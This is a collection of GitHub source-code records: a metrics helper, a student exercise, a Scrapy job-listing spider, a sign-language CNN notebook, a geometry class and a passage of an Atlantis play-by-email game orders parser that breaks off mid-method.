+{"seq_id":"30254246299","text":"import torch\nfrom sklearn.metrics import confusion_matrix\nimport numpy as np\n\nclass my_metrics():\n @staticmethod\n def accuracy(model_out, target):\n #print(\"model_out \",model_out[0])\n #print(\"target \",target[0])\n pred = torch.argmax(model_out, dim=1)\n #print(\"pred \",pred[0])\n cm = confusion_matrix(target.cpu(), pred.cpu()) \n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n #cm = confusion_matrix(target.cpu(), pred.cpu()) \n #return cm.diagonal()/cm.sum(axis=1) \n return cm.diagonal() \n","repo_name":"krunalgedia/jetClassiferEfficiencywithGNN","sub_path":"utils/helpers/accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"3652860595","text":"class Classes:\n def __init__(self,nama,nim,jurusan,fakultas,b):\n self.nama = nama\n self.jurusan = jurusan\n self.nim = nim\n self.fakultas = fakultas\n self.b = b\n \n def display(self,nim,jurusan,fakultas):\n print(\"Nama : \", nama)\n print(\"Nim : \", nim) \n print(\"Jurusan : \", jurusan)\n print(\"Fakultas : \", fakultas) \n \n def jaraktempuh(self,b):\n return self * b\n \n def harga_satuan(self,b,diskon):\n return self * b * diskon\n \n def biaya_percakapan(self):\n return self * 1000\n \n def biaya_sms(self):\n return self * 300\n \n def gaji_bersih(self,b):\n return (self + (self * 0.2) + (self * (0.1 * b)))\n \n#main \nprint(\"1. Nomor 1\\n2. Nomor 2\\n3. Nomor 3\\n4. Nomor 4\\n5. Nomor 5\\n6. Nomor 6\\n7. Nomor 7\")\npilihan = int(input(\"Masukan Pilihan :\"))\n\nif pilihan == 1:\n print(\"Input Identitas\")\n nama = input(\"nama :\")\n nim = input(\"nim :\")\n jurusan = input(\"Jurusan :\")\n fakultas= input(\"fakultas :\")\n\n print(\"\\nOutput \") \n Classes.display(nama,nim,jurusan,fakultas)\n\nelif pilihan == 2:\n kecepatan = int(input(\"Kecepatan rata-rata :\"))\n waktu = int(input(\"Waktu tempuh (jam) :\"))\n hasil = Classes.jaraktempuh(kecepatan,waktu)\n print(\"Jara tempuh : \", hasil, \" km\")\n \nelif pilihan == 3:\n diskon = 0.1\n harga_satuan = int(input(\"Harga Satuan :\"))\n Jumlah = int(input(\"Jumlah Pembelian :\"))\n hasil = Classes.harga_satuan(harga_satuan,Jumlah,diskon)\n print(\"Harga Total :Rp. \", int(hasil))\n\nelif pilihan == 4:\n harga_satuan = int(input(\"Harga satuan :\"))\n Jumlah = int(input(\"Jumlah :\"))\n Diskon = int(input(\"Diskon (%) :\"))\n Diskon = Diskon / 100\n hasil = Classes.harga_satuan(harga_satuan,Jumlah,Diskon)\n print(\"Harga Total :Rp. \", hasil)\n \nelif pilihan == 5:\n abnomen = 20000\n nama = input(\"Nama : \")\n percakapan = int(input(\"Percakapan :\"))\n sms = int(input(\"SMS : \"))\n b_percakapan = Classes.biaya_percakapan(percakapan)\n b_sms = Classes.biaya_sms(sms)\n total = b_percakapan + b_sms\n print(\"\\nTagihan\\n :\")\n print(\"Abnomen : \", abnomen,\"(Optional biaya bulanan)\")\n print(\"Biaya percakapan : \", b_percakapan)\n print(\"Biaya SMS : \", b_sms)\n print(\"Total Tagihan : \", total)\n\nelif pilihan == 6:\n T_kesejahteraan = 20 / 100\n T_Keluarga = 10 / 100\n pajak = 10 / 100\n nama = input(\"Nama Karyawan : \")\n g_pokok = float(input(\"Gaji Pokok :\"))\n j_anak = int(input(\"Jumlah anak :\"))\n g_kotor = Classes.gaji_bersih(g_pokok,j_anak)\n g_bersih = g_kotor - (g_kotor * 0.1)\n \n print(\"Gajo Pokok T. Kesejahteraan T.Keluarga Pajak\")\n print(g_pokok,\" 20% 10% 10% \" )\n \n print(\"Gaji Kotor : \",g_kotor)\n print(\"Gaji Bersih : \",g_bersih) \n ","repo_name":"Rizky1408/rizkyadiryanto_1901013044","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"70664509034","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom tencent.items import TencentItem\n\n\nclass PositiontencentSpider(scrapy.Spider):\n name = 'positiontencent'\n allowed_domains = ['tencent.com']\n url = \"http://hr.tencent.com/position.php?&start=\"\n offset = 0\n start_urls = [url+str(offset)+\"#a\"]\n\n def parse(self, response):\n for each in response.xpath(\"//tr[@class='even']|//tr[@class='odd']\"):\n item = TencentItem()\n item['positionName'] = each.xpath(\"./td[1]/a/text()\").extract()[0]\n item['positionLink'] = each.xpath(\"./td[1]/a/@href\").extract()[0]\n item['positionType'] = each.xpath(\"./td[2]/text()\").extract()[0]\n item['positionNum'] = each.xpath(\"./td[3]/text()\").extract()[0]\n item['workLocation'] = each.xpath(\"./td[4]/text()\").extract()[0]\n item['publishTime'] = each.xpath(\"./td[5]/text()\").extract()[0]\n yield item\n if self.offset < 3300:\n self.offset += 10\n yield scrapy.Request(url=self.url+str(self.offset)+\"#a\", callback=self.parse)\n","repo_name":"njkenone/tencent","sub_path":"tencent/spiders/positiontencent.py","file_name":"positiontencent.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"40867114145","text":"# coding: utf-8\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt # used for data and result visualization\nimport seaborn as sns # used for data and result visualization\n\nimport torch # library used for implementing deep learning network using pytorch framework\nimport torchvision\nfrom torchvision import transforms, datasets\n\nfrom sklearn.preprocessing import LabelBinarizer # used to convert data lables to one-hot encoded vectors\n\nimport keras # library used for implementing deep learning network using keras framework\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D , MaxPool2D , Flatten , Dropout , BatchNormalization\nfrom keras.callbacks import ReduceLROnPlateau\nfrom keras.preprocessing.image import ImageDataGenerator\n\nfrom sklearn.model_selection import train_test_split #libraries from scikit-learn for visualizing results like confusion matrix\nfrom sklearn.metrics import classification_report,confusion_matrix\n\n#Read data from CSV files\ntrain_df = pd.read_csv(\"sign_mnist_train.csv\")\ntest_df = pd.read_csv(\"sign_mnist_test.csv\")\n\ntest = pd.read_csv(\"sign_mnist_test.csv\")\ny = test['label']\npred = train_df['label']\n\npred.unique() #we have 25 labels (0-25) as a one-to-one map for each alphabetic letter A-Z \n# and no cases for 9=J or 25=Z because of gesture motions.\n\n\n#print all alphabets\nalphabet = []\nfor i in range(ord('A'), ord('Z') + 1):\n alphabet.append([chr(i)])\n \nalphabet\n\n\n# Visualizing the distribution of smaples over all class labels\nclass_id_distribution = train_df['label'].value_counts()\ncolors=['#A71930', '#DF4601', '#AB0003', '#003278', '#FF5910', \n '#0E3386', '#BA0021', '#E81828', '#473729', '#D31145', \n '#0C2340', '#005A9C', '#BD3039', '#EB6E1F', '#C41E3A', \n '#33006F', '#C6011F', '#004687', '#CE1141', '#134A8E', \n '#27251F', '#FDB827', '#0C2340', '#FD5A1E', '#00A3E0']\n\nplt.figure(figsize=(12,7))\nax = plt.gca()\nax.set_facecolor('none')\nplt.rcParams.update({'font.size': 15})\nplt.rc('axes.spines', **{'bottom':True, 'left':True, 'right':True, 'top':True})\nax.spines['bottom'].set_color('black')\nax.spines['top'].set_color('black') \nax.spines['right'].set_color('black')\nax.spines['left'].set_color('black')\nplt.xticks(np.arange(43))\nplt.bar(class_id_distribution.index, class_id_distribution.values, color=colors, width = 0.85)\nplt.xlabel('Classes')\nplt.ylabel('# Occurences in the training set')\nplt.xticks(range(len(alphabet)), alphabet)\nplt.grid(b=True, which='major', color='grey', linestyle='--')\n# plt.savefig('Ch_5_Fig_1.eps', format='eps')\nplt.show()\n\n# This shows that the dataset is distrubuted in a balanced way as all labels have inputs.\n\n\n\n#we seperate the labels from the dataframe and delete it from the complete dataframe\ny_train = train_df['label']\ny_test = test_df['label']\ndel train_df['label']\ndel test_df['label']\n\n\n# print the columns in dataset to validate that there is no column for labels and print the first 5 rows of data frame\nprint(train_df.columns)\nprint(train_df.head())\n\n#label_binarizer converts the input into on-hot encoding when the values are not integer. we do it for the labels.\nfrom sklearn.preprocessing import LabelBinarizer\nlabel_binarizer = LabelBinarizer()\ny_train = label_binarizer.fit_transform(y_train)\ny_test = label_binarizer.fit_transform(y_test)\n\n\nx_train = train_df.values\nx_test = test_df.values\n\n\n# In[13]:\n\n\nprint(x_train.shape) #x_train is a dataframe with 27455 rows and 784 columns. each column having its pixel\n\n# Normalize the data\nx_train = x_train / 255\nx_test = x_test / 255\n\n\n# Reshaping the data from 1-D to 3-D as required through input by CNN's\nx_train = x_train.reshape(-1,28,28,1) # -1 mean all objects, 28*28 is the size of image, and as the MNISt dataset doenst have channel info, we add it as 1 due to greyscale.\nx_test = x_test.reshape(-1,28,28,1)\n\n\n\ntrain_df1 = pd.read_csv(\"sign_mnist_train.csv\")\n\n\n# code to print @University of leeds@ using the sign gesture smaples\narray1 = np.zeros((10, 784))\narray2 = np.zeros((2, 784))\narray3 = np.zeros((5, 784))\n\narray1[0, :] = train_df1.loc[train_df1['label'] == 20].values[0][1:]\narray1[1, :] = train_df1.loc[train_df1['label'] == 13].values[0][1:]\narray1[2, :] = train_df1.loc[train_df1['label'] == 8].values[0][1:]\narray1[3, :] = train_df1.loc[train_df1['label'] == 21].values[0][1:]\narray1[4, :] = train_df1.loc[train_df1['label'] == 4].values[0][1:]\narray1[5, :] = train_df1.loc[train_df1['label'] == 17].values[0][1:]\narray1[6, :] = train_df1.loc[train_df1['label'] == 18].values[0][1:]\narray1[7, :] = train_df1.loc[train_df1['label'] == 8].values[0][1:]\narray1[8, :] = train_df1.loc[train_df1['label'] == 19].values[0][1:]\narray1[9, :] = train_df1.loc[train_df1['label'] == 24].values[0][1:]\n\ntitle1 = ['U', 'N', 'I', 'V', 'E', 'R', 'S', 'I', 'T', 'Y']\ntitle2 = ['O', 'F']\ntitle3 = ['L', 'E', 'E', 'D', 'S']\n\narray2[0, :] = train_df1.loc[train_df1['label'] == 14].values[0][1:]\narray2[1, :] = train_df1.loc[train_df1['label'] == 5].values[0][1:]\n\narray3[0, :] = train_df1.loc[train_df1['label'] == 11].values[0][1:]\narray3[1, :] = train_df1.loc[train_df1['label'] == 4].values[0][1:]\narray3[2, :] = train_df1.loc[train_df1['label'] == 4].values[0][1:]\narray3[3, :] = train_df1.loc[train_df1['label'] == 3].values[0][1:]\narray3[4, :] = train_df1.loc[train_df1['label'] == 18].values[0][1:]\n\n\n# plot the university of leeds finger-spelling\n\n\nf, ax = plt.subplots(4, 5) \nf.set_size_inches(15, 15)\nk = 0\nm = 0\np = 0\nfor i in range(0, 4):\n for j in range(0, 5):\n if i < 2:\n ax[i, j].set_title(title1[k])\n ax[i, j].imshow(array1[k].reshape(28, 28) , cmap = \"gray\")\n k += 1\n elif i == 2:\n if j > 0 and j < 3:\n ax[i, j].set_title(title2[m])\n ax[i, j].imshow(array2[m].reshape(28, 28) , cmap = \"gray\")\n m += 1\n else:\n ax[i, j].set_title(title3[p])\n ax[i, j].imshow(array3[p].reshape(28, 28) , cmap = \"gray\")\n p += 1\nplt.subplots_adjust(left=0.1,\n bottom=0.1, \n right=0.9, \n top=0.9, \n wspace=0.4, \n hspace=0.1)\n\n# plt.savefig('Ch_5_Fig_2.eps', format='eps')\nplt.show()\n\n\n# print the sign gesture for 'E' and 'M'\n\n\narray4 = train_df1.loc[train_df1['label'] == 4].values[0][1:]\nplt.title('E')\nplt.imshow(array4.reshape(28, 28) , cmap = \"gray\")\n\n# plt.savefig('Ch_5_Fig_5a.eps', format='eps')\nplt.show()\n\n\narray5 = train_df1.loc[train_df1['label'] == 12].values[0][1:]\nplt.title('M')\nplt.imshow(array5.reshape(28, 28) , cmap = \"gray\")\n\n# plt.savefig('Ch_5_Fig_5b.eps', format='eps')\nplt.show()\n\n\n# With data augmentation to prevent overfitting\ndatagen = ImageDataGenerator(\n featurewise_center=False, # set input mean to 0 over the dataset\n samplewise_center=False, # set each sample mean to 0\n featurewise_std_normalization=False, # divide inputs by std of the dataset\n samplewise_std_normalization=False, # divide each input by its std\n zca_whitening=False, # apply ZCA whitening\n rotation_range=10, # randomly rotate images in the range (degrees, 0 to 180)\n zoom_range = 0.1, # Randomly zoom image \n width_shift_range=0.1, # randomly shift images horizontally (fraction of total width)\n height_shift_range=0.1, # randomly shift images vertically (fraction of total height)\n horizontal_flip=False, # randomly flip images\n vertical_flip=False) # randomly flip images\n\n\ndatagen.fit(x_train)\n\n\n\n#Creating the network\nlearning_rate_reduction = ReduceLROnPlateau(monitor='val_accuracy', patience = 2, verbose=1,factor=0.5, min_lr=0.000001)\n\nmodel = Sequential()\nmodel.add(Conv2D(128 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu' , input_shape = (28,28,1)))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Dropout(0.2))\n\nmodel.add(Conv2D(64 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Dropout(0.2))\n\nmodel.add(Conv2D(32 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\n\nmodel.add(Flatten())\nmodel.add(Dense(units = 256 , activation = 'relu'))\nmodel.add(Dropout(0.2))\n\nmodel.add(Dense(units = 24 , activation = 'softmax'))\nmodel.compile(optimizer = 'adam' , loss = 'categorical_crossentropy' , metrics = ['accuracy'])\nmodel.summary()\n\n\nhistory = model.fit(datagen.flow(x_train,y_train, batch_size = 64) ,epochs = 20 , validation_data = (x_test, y_test) , callbacks = [learning_rate_reduction])\n\n\nprint(\"Accuracy of the model is - \" , model.evaluate(x_test,y_test)[1]*100 , \"%\")\n\n\nepochs = [i for i in range(20)]\ntrain_lr = np.log10(history.history['lr'])\nplt.figure(figsize=(8,6))\nplt.plot(epochs , train_lr , 'go-' , label = 'Learning rate')\nplt.legend()\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"$log_{10}$ (Learning rate)\")\nplt.grid()\nplt.xticks(epochs)\n# plt.savefig('Ch_5_Fig_6.eps', format='eps')\nplt.show()\n\n\n# Analysis \nepochs = [i for i in range(20)]\ntrain_acc = history.history['accuracy']\nval_acc = history.history['val_accuracy']\n\nplt.figure(figsize=(8,6))\nplt.plot(epochs , train_acc , 'go-' , label = 'Training Accuracy')\nplt.plot(epochs , val_acc , 'ro-' , label = 'Validation Accuracy')\nplt.legend()\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"Accuracy\")\nplt.grid()\n# plt.savefig('Ch_5_Fig_3a.eps', format='eps')\nplt.show()\n\n\n# In[28]:\n\n\nepochs = [i for i in range(20)]\ntrain_loss = history.history['loss']\nval_loss = history.history['val_loss']\n\nplt.figure(figsize=(8,6))\nplt.plot(epochs , train_loss , 'g-o' , label = 'Training Loss')\nplt.plot(epochs , val_loss , 'r-o' , label = 'Validation Loss')\nplt.legend()\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"Loss\")\nplt.grid()\n# plt.savefig('Ch_5_Fig_3b.eps', format='eps')\nplt.show()\n\n\n# plot the confusion matrix for testing the proposed model on MNIST test data\nx_predict = model.predict(x_test)\n\npredictions = np.argmax(x_predict, axis = 1)\n\ncount = 0\nfor i in range(7172):\n if predictions[i] >= 9:\n predictions[i] = predictions[i] +1\n\nz = y.unique()\nz.sort()\n\na = np.unique(predictions)\nb = a.sort()\n\nalphabet = []\nfor i in range(ord('A'), ord('Z') + 1):\n alphabet.append(chr(i))\n\nalphabet1 = alphabet[0:9] + alphabet[10:25]\ncm = confusion_matrix(y,predictions,normalize=None)\ncm = pd.DataFrame(cm , index = [i for i in range(25) if i != 9] , columns = [i for i in range(25) if i != 9])\n\n\nplt.figure(figsize = (15,15))\ns=sns.heatmap(cm,cmap= \"Blues\", linecolor = 'black' , linewidth = .5 , annot = True, fmt='')\ns.set_xlabel('Actual label', fontsize=15)\ns.set_ylabel('Predicted label', fontsize=15)\ns.set_xticklabels(alphabet1)\ns.set_yticklabels(alphabet1)\n# plt.savefig('Ch_5_Fig_4.eps', format='eps')\nplt.show()\n\n\n\n","repo_name":"anchita96/signlanguagerecognition","sub_path":"Chapter_5/Chapter_5.py","file_name":"Chapter_5.py","file_ext":"py","file_size_in_byte":11024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"17967219470","text":"#!/usr/bin/python3\n\"\"\"Define BaseGeometry function.\"\"\"\nBaseGeometry = __import__('9-rectangle').BaseGeometry\nRectangle = __import__('9-rectangle').Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"Return the area of square.\"\"\"\n\n def __init__(self, size):\n self.integer_validator(\"size\", size)\n super().__init__(size, size)\n self.__size = size\n","repo_name":"Abelmafi/alx-higher_level_programming","sub_path":"0x0A-python-inheritance/10-square.py","file_name":"10-square.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"24142194984","text":"\"\"\"This module implements all classes needed to parse order files.\n\nIt defines a :class:`OrdersParser` which will parse report lines and\nwill call a :class:`OrdersConsumer` with parser data. Classes willing\nto consume data parser by :class:`OrdersParser` will have to implement\n:class:`OrdersConsumer` interface.\n\n\"\"\"\n\nimport re\nfrom collections import deque\n\n# Directions\ndirections = {'n': 'north', 'ne': 'northeast', 'se': 'southeast',\n 's': 'south', 'sw': 'southweast', 'nw': 'northweast',\n 'in': 'in', 'out': 'out', 'p': 'pause'}\n\nclass OrdersConsumer:\n \"\"\"Virtual class for :class:`OrdersParser` consumer.\n \n This is an interface for classes willing to receive data from the\n :class:`OrdersParser`. Classes implementing this interface should\n overwrite their public methods.\n \n \"\"\"\n pass\n\nclass OrdersParser:\n \"\"\"Atlantis orders parser.\n \n :class:`!OrdersParser` is in charge of parsing an orders file, or\n the orders template part of an Atlantis PBEM report, and sends\n parsing result to its registered :class:`OrdersConsumer` together\n with the original line, in case the :class:`OrdersConsumer` needs\n it for description, as it happens with comments.\n \n \"\"\"\n \n # Class constants\n UNIT_ANY, AMT_ALL, IT_NONE = -1, -1, -1\n \n # Member attributes\n _consumer = None\n \n def __init__(self, consumer):\n \"\"\"Parser initializer.\n \n Its only parameter is the consumer (must implmement\n OrdersConsumer interface) of the parsed report.\n \n Parameter:\n consumer OrdersConsumer instance to which parsed elements will\n be sent\n \n \"\"\"\n self._consumer = consumer\n \n def parse(self, f):\n \"\"\"Read orders from an open file and parse them\n \n This method read lines from an open file. lines all passed\n to parse_line until the file ends.\n \n Parameters:\n f Open file instance to be read\n \n \"\"\"\n \n for line in f:\n self.parse_line(line)\n \n def parse_line(self, line):\n \"\"\"Parse an orders line.\n \n Read line is always sent to the consumer before stripping\n them from its comments. The order line is parsed and its\n contents sent to the consumer.\n \n Parameters:\n line Line being parsed\n \n \"\"\"\n tokens, permanent, comment = OrdersParser.tokenize(line)\n \n if not tokens:\n if comment:\n self._consumer.comment(permanent=permanent, comment=comment)\n return\n \n order = tokens.popleft().lower()\n \n if order == '#atlantis':\n if not tokens:\n raise SyntaxError('{}: missing faction'.format(line))\n faction = OrdersParser._value(tokens.popleft())\n try:\n password = tokens.popleft()\n except IndexError:\n self._consumer.atlantis(faction=faction)\n else:\n self._consumer.atlantis(faction=faction,\n password=password)\n \n elif order == '#end':\n self._consumer.atlantis_end()\n \n elif order == 'unit':\n if not tokens:\n raise SyntaxError('{}: missing unit'.format(line))\n else:\n unit = OrdersParser._value(tokens.popleft())\n if not unit:\n raise SyntaxError('{}: invalid unit'.format(line))\n self._consumer.unit(unit=unit)\n \n elif order == 'form':\n if not tokens:\n raise SyntaxError('{}: missing alias'.format(line))\n else:\n alias = OrdersParser._value(tokens.popleft())\n if not alias:\n raise SyntaxError('{}: invalid alias'.format(line))\n self._consumer.order_form(alias=alias, permanent=permanent,\n comment=comment)\n elif order == 'end':\n self._consumer.order_end()\n \n elif order == 'turn':\n self._consumer.order_turn(permanent=permanent, comment=comment)\n \n elif order == 'endturn':\n self._consumer.order_endturn()\n \n elif order == 'address':\n if not tokens:\n raise SyntaxError('{}: missing address'.format(line))\n else:\n self._consumer.order_address(address=tokens.popleft(),\n permanent=permanent,\n comment=comment)\n \n elif order == 'advance':\n try:\n dirs = [OrdersParser._parse_dir(d.lower()) for d in tokens]\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_advance(dirs=dirs, permanent=permanent,\n comment=comment)\n \n elif order == 'assassinate':\n try:\n unit = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_assassinate(unit=unit,\n permanent=permanent,\n comment=comment)\n \n elif order == 'attack':\n targets = []\n try:\n while tokens:\n targets.append(OrdersParser._parse_unit(tokens))\n except SyntaxError as e:\n self._consumer.order_attack(targets=targets,\n permanent=permanent,\n comment=comment)\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_attack(targets=targets,\n permanent=permanent,\n comment=comment)\n \n elif order == 'autotax':\n if not tokens:\n raise SyntaxError('{}: missing value'.format(line))\n try:\n self._consumer.order_autotax(\n flag=OrdersParser._parse_TF(tokens.popleft()),\n permanent=permanent, comment=comment)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n \n elif order == 'avoid':\n if not tokens:\n raise SyntaxError('{}: missing value'.format(line))\n try:\n self._consumer.order_avoid(\n flag=OrdersParser._parse_TF(tokens.popleft()),\n permanent=permanent, comment=comment)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n \n elif order == 'idle':\n self._consumer.order_idle(permanent=permanent, comment=comment)\n \n elif order == 'behind':\n if not tokens:\n raise SyntaxError('{}: missing value'.format(line))\n try:\n self._consumer.order_behind(\n flag=OrdersParser._parse_TF(tokens.popleft()),\n permanent=permanent, comment=comment)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n \n elif order == 'build':\n if not tokens:\n self._consumer.order_build(permanent=permanent, comment=comment)\n else:\n tok = tokens.popleft().lower()\n if tok == 'help':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_build(target=target,\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_build(structure=tok,\n permanent=permanent,\n comment=comment)\n \n elif order == 'buy':\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n num = tokens.popleft().lower()\n if num == 'all':\n num = OrdersParser.AMT_ALL\n else:\n num = OrdersParser._value(num)\n if not num:\n raise SyntaxError('{}: missing amount'.format(line))\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n self._consumer.order_buy(num=num, item=tokens.popleft().lower(),\n permanent=permanent, comment=comment)\n \n elif order == 'cast':\n if not tokens:\n raise SyntaxError('{}: missing skill'.format(line))\n skill = tokens.popleft().lower()\n params = [p.lower() for p in tokens]\n self._consumer.order_cast(skill=skill, params=params,\n permanent=permanent, comment=comment)\n \n elif order == 'claim':\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n value = OrdersParser._value(tokens.popleft())\n if not value:\n raise SyntaxError('{}: missing amount'.format(line))\n self._consumer.order_claim(num=value, permanent=permanent,\n comment=comment)\n \n elif order == 'combat':\n if not tokens:\n combat = OrdersParser.IT_NONE\n else:\n combat = tokens.popleft().lower()\n self._consumer.order_combat(skill=combat, permanent=permanent,\n comment=comment)\n \n elif order == 'consume':\n if not tokens:\n consuming = 'none'\n else:\n consuming = tokens.popleft().lower()\n if consuming not in ('unit', 'faction', 'none'):\n raise SyntaxError('{}: invalid value'.format(line))\n self._consumer.order_consume(consuming=consuming,\n permanent=permanent, comment=comment)\n \n elif order == 'declare':\n if not tokens:\n raise SyntaxError('{}: missing faction'.format(line))\n fac = tokens.popleft().lower()\n if fac != 'default':\n fac = OrdersParser._value(fac)\n if not fac:\n raise SyntaxError('{}: missing faction'.format(line))\n if not tokens:\n self._consumer.order_declare(faction=fac, permanent=permanent,\n comment=comment)\n else:\n attitude = tokens.popleft().lower()\n if attitude in ('hostile', 'unfriendly', 'neutral',\n 'friendly', 'ally'):\n self._consumer.order_declare(faction=fac,\n attitude=attitude,\n permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid attitude'.format(line))\n \n elif order == 'describe':\n if tokens:\n target = tokens.popleft().lower()\n else:\n raise SyntaxError('{}: missing target'.format(line))\n if tokens:\n description = tokens.popleft()\n else:\n description = None\n if target == 'unit':\n self._consumer.order_describe(unit=description,\n permanent=permanent,\n comment=comment)\n elif target in ('ship', 'building', 'object', 'structure'):\n self._consumer.order_describe(structure=description,\n permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid target'.format(line))\n \n elif order == 'destroy':\n self._consumer.order_destroy(permanent=permanent, comment=comment)\n \n elif order == 'enter':\n if tokens:\n structure = OrdersParser._value(tokens.popleft())\n if dir:\n self._consumer.order_enter(structure=structure,\n permanent=permanent,\n comment=comment)\n else:\n raise SyntaxError('{}: invalid structure'.format(line))\n else:\n raise SyntaxError('{}: missing structure'.format(line))\n \n elif order == 'entertain':\n self._consumer.order_entertain(permanent=permanent, comment=comment)\n \n elif order == 'evict':\n targets = []\n try:\n while tokens:\n targets.append(OrdersParser._parse_unit(tokens))\n except SyntaxError as e:\n self._consumer.order_evict(targets=targets,\n permanent=permanent,\n comment=comment)\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_evict(targets=targets,\n permanent=permanent,\n comment=comment)\n \n elif order == 'exchange':\n try:\n target = OrdersParser._parse_unit(tokens, allow_any=True)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing given amount'.format(line))\n amtGive = OrdersParser._value(tokens.popleft())\n if not tokens:\n raise SyntaxError('{}: missing given item'.format(line))\n itemGive = tokens.popleft().lower()\n if not tokens:\n raise SyntaxError('{}: missing expected amount'.format(line))\n amtExpected = OrdersParser._value(tokens.popleft())\n if not tokens:\n raise SyntaxError('{}: missing expected item'.format(line))\n itemExpected = tokens.popleft().lower()\n self._consumer.order_exchange(\n target=target, give={'amt': amtGive, 'item': itemGive},\n expected={'amt': amtExpected, 'item': itemExpected},\n permanent=permanent, comment=comment)\n \n elif order == 'faction':\n if not tokens:\n raise SyntaxError('{}: missing faction type'.format(line))\n ftype = {}\n while tokens:\n t = tokens.popleft().lower()\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n ftype[t] = OrdersParser._value(tokens.popleft())\n self._consumer.order_faction(permanent=permanent, comment=comment,\n **ftype)\n \n elif order == 'find':\n if not tokens:\n raise SyntaxError('{}: missing faction'.format(line))\n fac = tokens.popleft().lower()\n if fac != 'all':\n fac = OrdersParser._value(fac)\n if not fac:\n raise SyntaxError('{}: invalid faction'.format(line))\n self._consumer.order_find(permanent=permanent, comment=comment,\n faction=fac)\n \n elif order == 'forget':\n if not tokens:\n raise SyntaxError('{}: missing skill'.format(line))\n self._consumer.order_forget(permanent=permanent, comment=comment,\n skill=tokens.popleft().lower())\n \n elif order == 'withdraw':\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n tok = tokens.popleft().lower()\n amt = OrdersParser._value(tok)\n if amt < 1:\n amt = 1\n item = tok\n elif tokens:\n item = tokens.popleft().lower()\n else:\n raise SyntaxError('{}: missing item'.format(line))\n self._consumer.order_withdraw(permanent=permanent, comment=comment,\n amt=amt, item=item)\n \n elif order == 'give':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n amt = tokens.popleft().lower()\n if amt == 'unit':\n self._consumer.order_give(permanent=permanent, comment=comment,\n target=target, give=amt)\n else:\n if amt != 'all':\n amt = OrdersParser._value(amt)\n if not amt:\n raise SyntaxError('{}: invalid amount'.format(line))\n try:\n item = tokens.popleft().lower()\n if item == 'unfinished':\n unfinished = True\n item = tokens.popleft().lower()\n else:\n unfinished = False\n except:\n raise SyntaxError('{}: missing item'.format(line))\n \n if tokens and tokens[0].lower() == 'except':\n tok = tokens.popleft().lower()\n if amt != 'all':\n raise SyntaxError(\n '{}: except only valid with all'. format(line))\n if not tokens:\n raise SyntaxError(\n '{}: missing except value'.format(line))\n excpt = OrdersParser._value(tokens.popleft())\n if not excpt:\n raise SyntaxError(\n '{}: invalid except value'.format(line))\n self._consumer.order_give(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished,\n 'excpt': excpt})\n else:\n self._consumer.order_give(permanent=permanent,\n comment=comment,\n target=target,\n give={'amt': amt, 'item': item,\n 'unfinished': unfinished})\n \n elif order == 'guard':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n guard = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n self._consumer.order_guard(flag=guard, permanent=permanent,\n comment=comment)\n \n elif order == 'hold':\n if not tokens:\n raise SyntaxError('{}: invalid value'.format(line))\n try:\n hold = OrdersParser._parse_TF(tokens.popleft())\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n 